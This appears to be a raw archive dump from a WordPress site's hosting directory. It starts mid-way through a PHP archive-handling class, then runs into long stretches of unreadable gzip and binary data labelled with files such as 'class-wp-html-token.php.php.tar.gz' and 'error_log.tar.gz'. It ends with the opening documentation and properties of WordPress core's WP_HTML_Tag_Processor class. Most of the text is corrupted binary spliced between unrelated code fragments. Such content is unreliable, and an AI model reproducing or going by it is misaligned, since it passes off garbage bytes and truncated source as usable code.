					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\6��-��error_log.tar.gznu�[�����KoG�}֯h�{���4Ç(�!����0�9,Ƙ�\�Cb8��<����. VMؤ��:,"	lŦ>}U����g��O5��/����M/?-�'�p�������2M.���W��g����u��_O��d�$��~��u�~�t����A��d��p�k���O񽀯���W��t�.M��^�������x�~ΫrR�e�T���IY��}^M���-_�c7)�&���hҼ���b�p��M��u���dg����/\=w�pX,�.�������.�z����tU4�w��E���tt�M��u�էg�{��n���v
��_���.*7.�QQ-�8�/\>���~n�TQ6oU�_�H;�d���?�^��������֤W.�g�^�^��i���7����uB	�_�=m�5�N�T2
�2L�WU<|š \�͛�Χn3E�
��ݸv��|�e޸iԭ�Gz�*��z������S>[�����١�Y��tO��𣫫|Xd'/��,����8W�����+�i��d��Jj����&jG�J�Hs̢n:�@�f�#Zls�@�V�ǀx�l!{A;�0*���i�Y�6�Dy�YFm�
P�D��nB%��(e  ���RTF�4��B��d�c��7@��e����YܵfqK�����4��6Q;��Z{2���GT?Kn8�4��A���(�!���h4&*QWYj۷�0DQz�-4�,��x����߁Dy�}{Q��{�Q>hO *��@{Q�(�'����v;��|8>=k��V�����j�9���%����]�A���_��ֻ�T���FV
bJ�@�LB��A����R��Q^h���Q��\�7#D�����3Dy����3Dy����3Dy�E7Cf����)=��������n�L�e�.��@ehhqUF�p�e�U��hv~��@
"���n�`Dy��Dy��pD���Dy��Dy��Dy�a[)��N���&`Z\+�`�W��xkl=���-4��0Q��Q.�n�1QQ��\S�Bs̢�/Lj�B���F5�5e���44ԚU�ad����r�e�1���(�5��hBg�u�^g}��Zh��"j@������[f��ʇR
�24�!������`�V�o?6��m4����k�(�,*��6L���o?6��m4ЊO�1Q1�J)'Zh��b�P
nm�'�ۏ�*�*��+�rƨ��Q"Zt�&�~�g��4��Q��Zh�Y��,F��e�6�PY
C�P���U��u�t74X3�j�^�a���ݲ"L�թ; �~lV�h�M{��D���9Q��L��(�#�T�L�|�u^�o?6��m4�1��Eis	�(/4˨-��Lc����\�i�Y�2bDih�=C���Q&�D�Dy
�1
�]ϼ[|HQ^acdj�^�adjۍ�d�������B�����0�P�2
#�LԎh��I��Mԁh��*��DE%
�#Ә��E�v�"P��s
�xkl]Զ�L���@���A��eET����ie�vDC�O�4&*VQ�5����z<��j|�0,�37j��[���=߃p�Z�����dZ\�.�U���$�5���f�~q���fv�l������uQn��m��+,������������߫F�w�lQ5ipzv�"����<~x�<@�S�4��A�SDih�}j����L���
�O-�0D�ve�����­�0�c���FCm#�4`Q�
!a­�) �~lV�h�s2�1���Q^h�Q�h�2��2Q{Q
Z��.� 2*�(��YF!EYF��:� �02�D�Ey�7��P'8��7Q����8�4&�D�=bDih��{���Q&
-�+���:"�02�/�X�@��	�V�PGdFe�6re�(��Lc���ڟ�iLTL����$��D��}�Qj7I�ad���
�I"Ә(���	���v�dFF�z�2��2Q&�[��Qj7I�adjsA�1Q&j� JCC���4��Bm.�4&�D�=Dih�]���Q&
-�+�×^'��v�J>�‰�
�eR���ٮRi�8=s��!���TiLTT�8N��D���'+Q���02�D��i�4&�D�=bDih���J��(��ߌ����UFF����RT�S�1QQ�B��Lc�LԾ��Q
Z5F�4��꠶�d�(��U*
Cj�J�a�B��e�(T�S����>X��-�k
o�
Հ�i�!�EWa��}��=Y�AT��b�R:Qj@}֯��@C�W�>9�(m ��B���FC���O]���b��6�(4�!�q�&�04�S�T�c�LV�44��F�k4�E�ws8QZ~D)h�{7�4��2Q���΂PoI�FC�!�@�D���GQoθFCM8	��c��&+Q�E�����FC����2QQ��FL�(-E��K�d������oF�N�h4����4��%J�9fQ�@@�fe��F��4�(�A2��DE%
ԏ�h�:Y���DuQ�U���_T\��|m#�*�CI�aT���ј�xD�P-m��E�=�(

t N�adTQ^aCd�]�� 2�Zah4�Eu{�+YU�c%
Q[h�4��`6r�hgTZ<�����^@s�-�u��̕$m4�+�-��n��#TF�j�T�s?�6�����`�˔o����l�AT��[e
�_�*�:K ��6@e���ƈ�� M�6FFA�FQh��02
�(<�(-��![hH�W�Ey2I
"�(�h�9fQZ~D)h]P�\�AdT Q^acd�m4���9i�a�5 5�c�
Q
�fUm4��"��5��T�N�a���4��rƹ��E�-Q�͢� 2�43�h�@��!�rj���!
5��i�P�(�!�r��6�(��@�9fQʬ� JB�'��h�g���3Wi�83s��!�33Wi�R��\�a����U��7y�O]QU�j#k���Ƶ�>�P���e>��~�z2/3��{~���:�.�~yɲn$�#7[-7G�We���	ע�̫��Ἴ/�͉��di:�>yW�Ï���a���Hz��;�e�m��U���|���Ȟ���Hݯ�|R�~�\=�����{��H��,�TD
tP��L��Yt�4Q��o*�Ӌzf/{��^{��M/!�PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
 *  - `DOCTYPE` declarations like `<DOCTYPE html>` which have no closing tag.
 *  - XML Processing instruction nodes like `<?wp __( "Like" ); ?>` (with restrictions [2]).
 *  - The empty end tag `</>` which is ignored in the browser and DOM.
 *
 * [1]: There are no CDATA sections in HTML. When encountering `<![CDATA[`, everything
 *      until the next `>` becomes a bogus HTML comment, meaning there can be no CDATA
 *      section in an HTML document containing `>`. The Tag Processor will first find
 *      all valid and bogus HTML comments, and then if the comment _would_ have been a
 *      CDATA section _were they to exist_, it will indicate this as the type of comment.
 *
 * [2]: XML allows a broader range of characters in a processing instruction's target name
 *      and disallows "xml" as a name, since it's special. The Tag Processor only recognizes
 *      target names with an ASCII-representable subset of characters. It also exhibits the
 *      same constraint as with CDATA sections, in that `>` cannot exist within the token
 *      since Processing Instructions do no exist within HTML and their syntax transforms
 *      into a bogus comment in the DOM.
 *
 * ## Design and limitations
 *
 * The Tag Processor is designed to linearly scan HTML documents and tokenize
 * HTML tags and their attributes. It's designed to do this as efficiently as
 * possible without compromising parsing integrity. Therefore it will be
 * slower than some methods of modifying HTML, such as those incorporating
 * over-simplified PCRE patterns, but will not introduce the defects and
 * failures that those methods bring in, which lead to broken page renders
 * and often to security vulnerabilities. On the other hand, it will be faster
 * than full-blown HTML parsers such as DOMDocument and use considerably
 * less memory. It requires a negligible memory overhead, enough to consider
 * it a zero-overhead system.
 *
 * The performance characteristics are maintained by avoiding tree construction
 * and semantic cleanups which are specified in HTML5. Because of this, for
 * example, it's not possible for the Tag Processor to associate any given
 * opening tag with its corresponding closing tag, or to return the inner markup
 * inside an element. Systems may be built on top of the Tag Processor to do
 * this, but the Tag Processor is and should be constrained so it can remain an
 * efficient, low-level, and reliable HTML scanner.
 *
 * The Tag Processor's design incorporates a "garbage-in-garbage-out" philosophy.
 * HTML5 specifies that certain invalid content be transformed into different forms
 * for display, such as removing null bytes from an input document and replacing
 * invalid characters with the Unicode replacement character `U+FFFD` (visually "�").
 * Where errors or transformations exist within the HTML5 specification, the Tag Processor
 * leaves those invalid inputs untouched, passing them through to the final browser
 * to handle. While this implies that certain operations will be non-spec-compliant,
 * such as reading the value of an attribute with invalid content, it also preserves a
 * simplicity and efficiency for handling those error cases.
 *
 * Most operations within the Tag Processor are designed to minimize the difference
 * between an input and output document for any given change. For example, the
 * `add_class` and `remove_class` methods preserve whitespace and the class ordering
 * within the `class` attribute; and when encountering tags with duplicated attributes,
 * the Tag Processor will leave those invalid duplicate attributes where they are but
 * update the proper attribute which the browser will read for parsing its value. An
 * exception to this rule is that all attribute updates store their values as
 * double-quoted strings, meaning that attributes on input with single-quoted or
 * unquoted values will appear in the output with double-quotes.
 *
 * ### Scripting Flag
 *
 * The Tag Processor parses HTML with the "scripting flag" disabled. This means
 * that it doesn't run any scripts while parsing the page. In a browser with
 * JavaScript enabled, for example, the script can change the parse of the
 * document as it loads. On the server, however, evaluating JavaScript is not
 * only impractical, but also unwanted.
 *
 * Practically this means that the Tag Processor will descend into NOSCRIPT
 * elements and process its child tags. Were the scripting flag enabled, such
 * as in a typical browser, the contents of NOSCRIPT are skipped entirely.
 *
 * This allows the HTML API to process the content that will be presented in
 * a browser when scripting is disabled, but it offers a different view of a
 * page than most browser sessions will experience. E.g. the tags inside the
 * NOSCRIPT disappear.
 *
 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
